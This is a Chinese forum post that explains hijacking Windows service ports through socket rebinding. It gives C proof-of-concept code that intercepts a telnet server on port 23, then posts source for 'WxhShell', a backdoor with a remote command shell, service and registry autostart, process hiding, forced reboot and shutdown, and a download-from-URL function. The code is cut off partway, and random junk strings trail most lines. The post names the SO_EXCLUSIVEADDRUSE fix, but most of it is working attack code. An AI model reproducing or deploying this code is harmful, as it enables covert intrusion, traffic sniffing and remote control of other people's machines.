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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &#~U1: 0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1. Q"<[M  
@}+B%R  
  saddr.sin_family = AF_INET; ^;\6ju2  
~+RrL,t#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Tn38]UL  
s <$*A;t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F:0 E- z'  
?ia O6HD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -*?{/QmKb  
aKRnj!4z  
  这意味着什么?意味着可以进行如下的攻击: 3zM>2)T-  
XFww|SG$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j{/wG::  
A  j>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @Hp=xC9V  
Z$)jPDSr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +]VW[ $W  
=A"z.KfV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U/rFH9e$  
Mt12 1Q&"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f{]W*!VV-  
%8|?YxiZ:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *NI hYg6  
-PiZvge  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2QIo|$  
>LEp EMJ\  
  #include %-NG eN8  
  #include (*!4O>]  
  #include :Ui'x8yt  
  #include    SR9M:%dga  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mg u=cm )  
  int main() 42DB0+_wz  
  { -kzg(+sm  
  WORD wVersionRequested; ]5eZLXM  
  DWORD ret; T@N)BfkB  
  WSADATA wsaData; k jR-p=}  
  BOOL val; ^c>ROpic  
  SOCKADDR_IN saddr; -$y/*'  
  SOCKADDR_IN scaddr; Otm7j>w  
  int err; BOW`{=  
  SOCKET s; QPsvc6ds  
  SOCKET sc; mC`U"rlK~  
  int caddsize; "eKM<S  
  HANDLE mt; v;R+{K87  
  DWORD tid;   1f5;^T I  
  wVersionRequested = MAKEWORD( 2, 2 ); D4QL lP  
  err = WSAStartup( wVersionRequested, &wsaData ); J`A )WsKkb  
  if ( err != 0 ) { M4}zRr([.5  
  printf("error!WSAStartup failed!\n"); Jb` yK@x  
  return -1; o}lA\A  
  } K>`*JJ,  
  saddr.sin_family = AF_INET; .^?Z3iA",  
   (k5d.E]CK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WLN;LT  
BQ77 n2(@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @?<1~/sfL  
  saddr.sin_port = htons(23); T#R*]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (W $>!1~  
  { Ezw<  
  printf("error!socket failed!\n"); U^xtS g  
  return -1; `v1~nNoY  
  } KH76Vts  
  val = TRUE; L@LT*M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 uze5u\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wE09%  
  { hvU\l`m  
  printf("error!setsockopt failed!\n"); TY *q[AWG  
  return -1; 3!KEk?I]  
  } FPXB>D'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .ID9Xd$fky  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Eg|C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t'J fiGM  
0D'Wr(U(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %Z7!9+<  
  { I%p#E#[G  
  ret=GetLastError(); b>i=",i\  
  printf("error!bind failed!\n"); #^ 9;<@M  
  return -1; I?>#neHc6  
  } Y8PT`7gd`  
  listen(s,2); j#&  
  while(1) lK4+8VZ  
  { ~K9U0ypH  
  caddsize = sizeof(scaddr); %gaKnT(|r  
  //接受连接请求 :3B\,inJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qo@dFKy  
  if(sc!=INVALID_SOCKET) x}{VHp`|ld  
  { U]|q4!WE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K288&D|1WU  
  if(mt==NULL) |=LkV"_v  
  { R%%`wmG)"  
  printf("Thread Creat Failed!\n"); GHy#D]Z  
  break; ~S3eatM$9  
  } i7rq;t<  
  } o(P:f)B  
  CloseHandle(mt); "b 0cj  
  } =@2V#X]M*  
  closesocket(s); -Q6pV<i  
  WSACleanup(); A-5 +#  
  return 0; "|%9xGX|D  
  }   $J6.a!5IE  
  DWORD WINAPI ClientThread(LPVOID lpParam) Nd!VR+IZ  
  { Gq*)]X{U a  
  SOCKET ss = (SOCKET)lpParam; &r%*_pX  
  SOCKET sc; B5:g{,C  
  unsigned char buf[4096]; :2E1aVo4b  
  SOCKADDR_IN saddr; $VWzv4^:  
  long num; %z~U@Mka  
  DWORD val; KeB4Pae|V  
  DWORD ret; hli 10p$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |l xy< C4V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sg{D ?zl  
  saddr.sin_family = AF_INET; |L;psK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X:lPWz!7{  
  saddr.sin_port = htons(23); <im<(=m9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s.`d<(X?  
  { @@83PJFid  
  printf("error!socket failed!\n"); 8%<`$`FyU  
  return -1; s&hA  
  } abeSkWUL(  
  val = 100; U@MP&sdL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B#"|5  
  { ^,lZ58 2  
  ret = GetLastError(); PuCDsojclh  
  return -1; 4q13xX  
  } 61W/BU7O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A&c@8  
  { JA(fam~{  
  ret = GetLastError(); j yRSEk$  
  return -1; ShJK&70O  
  } iN_D8dI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rAWl0y_m  
  { ,|X+/|gm  
  printf("error!socket connect failed!\n"); 1Xr"h:U_X  
  closesocket(sc); t-i6FS-  
  closesocket(ss); &4Con%YU[  
  return -1; M+;P?|a  
  } 8i;)|z7  
  while(1) !?o$-+a|  
  { eQFb$C]R}y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @f{_=~+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 BwJ^_:(p~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c~UAr k S  
  num = recv(ss,buf,4096,0); u:$x6/t  
  if(num>0) yd ND$@; Z  
  send(sc,buf,num,0); 6lmiMU&V  
  else if(num==0) 5 n+ e  
  break; 4su_;+]  
  num = recv(sc,buf,4096,0); #M?F^u[  
  if(num>0) $54=gRo^  
  send(ss,buf,num,0); cZr G:\A  
  else if(num==0) QW~5+c9JJ  
  break; "f|(@a  
  } bugFl>  
  closesocket(ss); -nk#d%a\  
  closesocket(sc); ?,:#8.9  
  return 0 ; +K;Y+ K&;2  
  } )ojx_3j8  
R+E_#lP_$  
+Cf0Y2*@hM  
========================================================== gf3U#L}P  
4e@&QOo`Cu  
下边附上一个代码,,WXhSHELL I{42'9  
HX3D*2v":  
========================================================== hB?,7-  
kz0I2!bt  
#include "stdafx.h" W""*hJ  
9$o<  
#include <stdio.h> ^E$(1><-a  
#include <string.h> v`S2M  
#include <windows.h> L/q]QgCoA  
#include <winsock2.h> > 'aG /(  
#include <winsvc.h> +_ *eu  
#include <urlmon.h> w dGpt_  
*%X6F~h(u  
#pragma comment (lib, "Ws2_32.lib") <E>7>ZL  
#pragma comment (lib, "urlmon.lib") K/vxzHSl  
@sw9A93A  
#define MAX_USER   100 // 最大客户端连接数 ;Y'8:ncDn  
#define BUF_SOCK   200 // sock buffer By?nd)  
#define KEY_BUFF   255 // 输入 buffer (;0$i?3\  
48tcgFg[  
#define REBOOT     0   // 重启 /!=U +X  
#define SHUTDOWN   1   // 关机 J?UA:u  
D:wnO|:  
#define DEF_PORT   5000 // 监听端口 `FA) om  
(9mbF%b  
#define REG_LEN     16   // 注册表键长度 #K=b%;>  
#define SVC_LEN     80   // NT服务名长度 c ]>DI&$;J  
3ty4D2y  
// 从dll定义API {TyCj?3B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C=N! z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !1a}| !Zn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I@n*[EC   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5>k>L*5J  
<7=&DpjI7F  
// wxhshell配置信息 JY{X,?s  
struct WSCFG { [IiwNqZ[~  
  int ws_port;         // 监听端口 \un sh^M  
  char ws_passstr[REG_LEN]; // 口令 A LXUaE.  
  int ws_autoins;       // 安装标记, 1=yes 0=no !|:RcH[  
  char ws_regname[REG_LEN]; // 注册表键名 [6AHaOhR'  
  char ws_svcname[REG_LEN]; // 服务名 r5o@+"!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bb|}'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w{PUj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sffhPX\I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D=$4/D:;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9khjwt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N83!C=X'  
= 0 ,|/1~  
}; }N?g|  
-*?p F_*w  
// default Wxhshell configuration 'X9AG6K1  
struct WSCFG wscfg={DEF_PORT, HLVQ7  
    "xuhuanlingzhe", K[kds`  
    1, jz*0`9&_  
    "Wxhshell", 7 0_}S*T  
    "Wxhshell", NKb1LbnZ*y  
            "WxhShell Service", a ^d8I  
    "Wrsky Windows CmdShell Service", :>Rv!x`  
    "Please Input Your Password: ", F# T 07<  
  1, 6(d}W2GP  
  "http://www.wrsky.com/wxhshell.exe", 9}a_:hAy/  
  "Wxhshell.exe" _WXtB#  
    }; ,L bBpi=TJ  
o]:3H8  
// 消息定义模块 r$Co0!.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'R`tLN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YW u cvw&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^V$Ajt  
char *msg_ws_ext="\n\rExit."; D(-yjY8aG  
char *msg_ws_end="\n\rQuit."; GaX[C<Wt  
char *msg_ws_boot="\n\rReboot..."; 6`vC1PK^  
char *msg_ws_poff="\n\rShutdown..."; 26T"XW'_  
char *msg_ws_down="\n\rSave to "; W @|6nPm  
iu&wO<)+?  
char *msg_ws_err="\n\rErr!"; FFdBtB  
char *msg_ws_ok="\n\rOK!"; \%^%wXfp  
M9zfT !-  
char ExeFile[MAX_PATH]; "BX!  
int nUser = 0; r{l(O,|e  
HANDLE handles[MAX_USER]; 3bnS W5  
int OsIsNt; E4 m`  
Hx ,0zS%>  
SERVICE_STATUS       serviceStatus; 2^i(gaXUQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p+)YTzzc  
9]q:[zm^  
// 函数声明 _6 ay-u  
int Install(void); ;2B{9{  
int Uninstall(void); 5^^XQ?"  
int DownloadFile(char *sURL, SOCKET wsh); g8PTGz  
int Boot(int flag); (}}S9 K  
void HideProc(void); giz7{Ai  
int GetOsVer(void); " Hd|7F'u=  
int Wxhshell(SOCKET wsl); $56,$K`H  
void TalkWithClient(void *cs); GnvL'ESa@M  
int CmdShell(SOCKET sock); M)SEn/T-  
int StartFromService(void); 9K1oZ?)_z  
int StartWxhshell(LPSTR lpCmdLine); 'C"9QfK  
Ol!ntNhXm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n=[/Z!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l+V>]?j  
i':C)7  
// 数据结构和表定义 &RfC"lc  
SERVICE_TABLE_ENTRY DispatchTable[] = '3uVkp 6tF  
{ -Z's@'*  
{wscfg.ws_svcname, NTServiceMain}, eH{[C*  
{NULL, NULL} K.0:C`C  
}; I'LnI*  
z*-2.}&U<  
// 自我安装 irfp!(r  
int Install(void) 4ecP*g  
{ lv04g} W  
  char svExeFile[MAX_PATH]; @ta7"6p-i@  
  HKEY key; >D4# y  
  strcpy(svExeFile,ExeFile); D|{jR~J)xK  
OynXkH]0T+  
// 如果是win9x系统,修改注册表设为自启动 4T ~}  
if(!OsIsNt) { i*Z" Me  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "yS _s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sfNE68I2  
  RegCloseKey(key); @<elq'2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]iUx p+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3eF -8Z(f  
  RegCloseKey(key); r4SXE\ G  
  return 0; NGbG4-w-  
    } Eq j_m|@  
  } =o$sxb E(  
} '!eKTC>  
else { 9J2NH|]c  
85LAY aw  
// 如果是NT以上系统,安装为系统服务 &__es{;P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eLfk\kk]Pc  
if (schSCManager!=0) GJ_7h_4  
{ NeE t  
  SC_HANDLE schService = CreateService U`2e{>'4t  
  ( ;5659!;  
  schSCManager, ,Vt/(x-  
  wscfg.ws_svcname, G?Q3/y(  
  wscfg.ws_svcdisp, F9,DrB,B{  
  SERVICE_ALL_ACCESS, ]7Tkkw$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,X`)ct  
  SERVICE_AUTO_START, gaZu;t2u  
  SERVICE_ERROR_NORMAL, M`,)wi  
  svExeFile, o!kbK#k  
  NULL, YoBDvV":@  
  NULL, xdp`<POn%  
  NULL, z=q3Zo  
  NULL, qVH1}9_  
  NULL ^ hZ0IM  
  ); E87Ww,z8  
  if (schService!=0) ^")Q YE  
  { {xXsBh Y  
  CloseServiceHandle(schService); Y 0d<~*  
  CloseServiceHandle(schSCManager); "@iK' c^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JB<Sl4  
  strcat(svExeFile,wscfg.ws_svcname); 1_PoqD!q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H4:`6 PSL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t*Sa@$p  
  RegCloseKey(key); RI(DXWM|h  
  return 0; UC]\yUK1J  
    } a7r%X -  
  } dfKF%27  
  CloseServiceHandle(schSCManager); }dgfqq  
} haK3?A,"_A  
} Q(wx nm  
pwL ;A3$|  
return 1; PgtJ3oq [}  
} .F   
Xg|B \ \  
// 自我卸载 &Sw%<N*r  
int Uninstall(void) w<Wf?aG  
{ :=u?Fqqws  
  HKEY key; VH9dleZ  
%?}33yV  
if(!OsIsNt) { #gz M|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M?Dfu .t  
  RegDeleteValue(key,wscfg.ws_regname); A mNW0.}  
  RegCloseKey(key); r^FhTzA=1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *5%d XixN  
  RegDeleteValue(key,wscfg.ws_regname); \fG#7_wt  
  RegCloseKey(key); "e.jZcN*  
  return 0; L^}_~PO N5  
  } U>]$a71  
} oB}BU`-l  
} <0b)YJb4M  
else { w_.F' E  
qh9Z50E9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T ]t'39  
if (schSCManager!=0) 2oVSn"  
{ zHA!%>%'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hQYL`Dni  
  if (schService!=0) TE3lK(f  
  { &"yx<&c}  
  if(DeleteService(schService)!=0) { ?}wk.gt>  
  CloseServiceHandle(schService); r_ I5. gK  
  CloseServiceHandle(schSCManager); RRmz"j>  
  return 0; gG0!C))8  
  } ]Lf{Jboo  
  CloseServiceHandle(schService); 9IjIIM2y  
  } eD,.~Y#?=  
  CloseServiceHandle(schSCManager); wPQH(~k:  
} 7j@Hs[ *  
} 4ezEW|S  
Cn,d?H  
return 1; Hx"ob_^'7  
} )eUh=eW  
W0dSsjNio  
// 从指定url下载文件 '))0Lh l  
int DownloadFile(char *sURL, SOCKET wsh) ?qPo=~y01  
{ GWZ }7ake  
  HRESULT hr; :flx6,7D  
char seps[]= "/"; o} J&E{Tk  
char *token; 2;k*@k-t  
char *file; |cK*~  
char myURL[MAX_PATH]; j'Gt&\4  
char myFILE[MAX_PATH]; fz|cnU  
5x5@t :  
strcpy(myURL,sURL); /Lfm&;  
  token=strtok(myURL,seps); ni.cTOSx  
  while(token!=NULL) h k] N6+@  
  { ]OM"ZG/^  
    file=token; =$u! 59_dE  
  token=strtok(NULL,seps); um jt]Gu[  
  } ^]H5h]U '  
6/5YjO|a  
GetCurrentDirectory(MAX_PATH,myFILE); _GV:HOBi  
strcat(myFILE, "\\"); 9Vg?{v!yn  
strcat(myFILE, file); '=39+*6?  
  send(wsh,myFILE,strlen(myFILE),0); PY{ G [  
send(wsh,"...",3,0); SEo'(-5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z/W:97M  
  if(hr==S_OK) <`.X$r*  
return 0; 51#_Vg  
else J=\HO8E6>  
return 1; #*D)Q/k  
M\o9I  
} x.]i }mt  
2y//'3[  
// 系统电源模块 \z>fb%YW  
int Boot(int flag) bLB:MW\%  
{ I5`4Al  
  HANDLE hToken; zZ7;jyD  
  TOKEN_PRIVILEGES tkp; T5R-B=YWu  
0@[$lv;OS  
  if(OsIsNt) { P2NQHX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !<j'Ea  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VQ(jpns5  
    tkp.PrivilegeCount = 1; ;!=G   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wrc,b{{[iM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6 hw=  
if(flag==REBOOT) { A0/"&Ag]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V_R@o3kv;  
  return 0; ./- 5R|fN  
} ]%hn`ZJ  
else { 5-|:^hU9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ],>@";9u"  
  return 0; o15-ZzE-  
} FTX=Wyr  
  } u#Pa7_zBj]  
  else { cbNTj$'b2u  
if(flag==REBOOT) { \MsTB|Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pnk5mK$  
  return 0; p09HL%~R  
} bENdMH";  
else { (lXGmx8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rxVanDb=W  
  return 0; &c`nR<  
} ~xbe~$$Q@  
} )#EGTRdo  
qaqBOHI6G  
return 1; y_'Ub{w  
}  Hu^1[#  
O)C\v F#  
// win9x进程隐藏模块 )s)I2Z+  
void HideProc(void) bo,_&4?  
{ sz5MH!/PJ  
\(3y7D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aKV$pC<[o  
  if ( hKernel != NULL ) 9"@\s$ OBk  
  { fsmN)_T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kj|6iG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mH54ja2  
    FreeLibrary(hKernel); $Ad{Z  
  } tf =6\p  
j>*S5y.{  
return; Ot$-!Y;<  
} 00<cYy  
Bt[/0>i  
// 获取操作系统版本 5uGqX"  
int GetOsVer(void) W$QcDp]#p}  
{ W KQ^NEqr3  
  OSVERSIONINFO winfo; 9TU88]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x* DarSk  
  GetVersionEx(&winfo); LZ\q3 7UV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,f kcp]}  
  return 1; t$ +?6E  
  else F@^~7ZmP`  
  return 0; Y}@&h!  
} NnO~dRx{  
KMt`XaC9e  
// 客户端句柄模块 #:%&x@@c3P  
int Wxhshell(SOCKET wsl) F^l[GdUosK  
{ i}b${n o  
  SOCKET wsh; lNNv|YiL  
  struct sockaddr_in client; 7;u e  
  DWORD myID; iz5CAxm  
XoXM ^*Vk  
  while(nUser<MAX_USER) Twh!X*uQ  
{ w;D+y*2  
  int nSize=sizeof(client); ~"dA~[r L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /TE_W@?^  
  if(wsh==INVALID_SOCKET) return 1; k2E0/ @f{k  
=Xm@YVf&ZD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ai}mOyJs  
if(handles[nUser]==0) M-\Y"]sW  
  closesocket(wsh); P<oehw'>  
else z+x\(/  
  nUser++; YgKZ#?*  
  } .ELGWF`>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R{RwTN<  
r[1i*b$  
  return 0; ;sfb 4x4  
} so PLA68  
Qg^cf<X{i  
// 关闭 socket P D4Tz!F  
void CloseIt(SOCKET wsh) Q*~LCtrI  
{ )@N2  
closesocket(wsh); ,_|]Ufr!a  
nUser--; "ZHW2l Mf  
ExitThread(0); s~X+*@.  
} Ok>gh2e[c  
t c[n&X  
// 客户端请求句柄 f @8mS    
void TalkWithClient(void *cs)  zG+R5:  
{ `L:CA5sBud  
~SQ?BoCI[  
  SOCKET wsh=(SOCKET)cs; ~+bv6qxg]\  
  char pwd[SVC_LEN]; 1[kMOp  
  char cmd[KEY_BUFF]; qNI, 62  
char chr[1]; P-`M  
int i,j; e'~Zo9`r6  
qe#P?[  
  while (nUser < MAX_USER) { C(S'#cm  
"nm FzN  
if(wscfg.ws_passstr) { b'P eH\h{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v4?x.I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U;bK!&Z  
  //ZeroMemory(pwd,KEY_BUFF); ?aC'.jH+  
      i=0; MWI4Y@1bS  
  while(i<SVC_LEN) { ;`l'2 z@N  
Q F-LU  
  // 设置超时 >a"Z\\dF  
  fd_set FdRead; >:zK?(qu,N  
  struct timeval TimeOut; h\7fp.  
  FD_ZERO(&FdRead); @)-sTgn  
  FD_SET(wsh,&FdRead); 2LNRtW*  
  TimeOut.tv_sec=8; xO1[>W  
  TimeOut.tv_usec=0; O_cbP59Y.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 994` ua+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _FXZm50\g{  
;^ La"m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fR)m%m  
  pwd=chr[0]; ?s\ OUr  
  if(chr[0]==0xd || chr[0]==0xa) { 0ge$ p,  
  pwd=0; rm4.aO~-F  
  break; ?|WoIV.  
  } N+LL@[  
  i++; baJxU:Y=p  
    } 5~Cakd ]>  
3<k`+,'  
  // 如果是非法用户,关闭 socket _ ):d`O e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ "i l}8`  
} \\{J'j>{f  
N>Eqj>G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?q(\=;Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %)[+%57{  
L f"i !  
while(1) { h@:TpE+N  
=`*O1a  
  ZeroMemory(cmd,KEY_BUFF); $={:r/R`i  
SrFS#  
      // 自动支持客户端 telnet标准   4J;-Dq  
  j=0; %{(x3\ *&  
  while(j<KEY_BUFF) { N2oRJ,:B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YY&l?*M<  
  cmd[j]=chr[0]; $U$V?x uE  
  if(chr[0]==0xa || chr[0]==0xd) { CbPuoOl  
  cmd[j]=0; !i~x"1  
  break; \GbHS*\+  
  } q{9X.-]}  
  j++; !BvTJ-e)F  
    } niBjq#bJi  
9rpg10/T  
  // 下载文件 *D09P%  
  if(strstr(cmd,"http://")) { pjKl)q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y?&DEKFbD  
  if(DownloadFile(cmd,wsh)) (g iTp@Tp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~Ie#vak  
  else 'Tru?y \  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =jV%O$Fx  
  } #pDGaqeX  
  else { @sg T[P*ut  
c:@OX[##  
    switch(cmd[0]) { C+L_61  
  UgD'Bi  
  // 帮助 *Sz{DE1U  
  case '?': { guUr1Ij  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <<W.x)#:  
    break; %!HnGwv-  
  } iw~V_y4  
  // 安装 O{i_?V_  
  case 'i': { jL7MmR#y5"  
    if(Install()) pw<q?q%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rbj+P;t&  
    else 0r$hPmvv8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YPff)0Nh  
    break; rs 1*H  
    }  wc+N  
  // 卸载 *a4b`HRT  
  case 'r': { x@ s`;qz  
    if(Uninstall()) xv#j 593  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "$E!_  
    else 'j"N2NJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &TkbnDuYd~  
    break; DKVt8/vq  
    } n;k97>m${x  
  // 显示 wxhshell 所在路径 wx"6",M  
  case 'p': { Tm:#"h\F  
    char svExeFile[MAX_PATH]; I_6` Z 0  
    strcpy(svExeFile,"\n\r"); 1=q?#PQ  
      strcat(svExeFile,ExeFile); R&=GB\`:a  
        send(wsh,svExeFile,strlen(svExeFile),0); 0)`lx9&h  
    break; Y"/UYxCm|&  
    } ,@>rubUz  
  // 重启 [A..<[  
  case 'b': { 6P*)rye  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j3[OY  
    if(Boot(REBOOT)) ^? {kj{v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <]e;tF)+  
    else { +@],$=aE?  
    closesocket(wsh); hv:Z%D |S  
    ExitThread(0); {O&liU4  
    } -R$FJb Id  
    break; SQKY;p  
    } UH^wyK bM  
  // 关机 2#:]%y;\  
  case 'd': { {kRC!}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s^t1PfP(,  
    if(Boot(SHUTDOWN)) /GSI.tO  
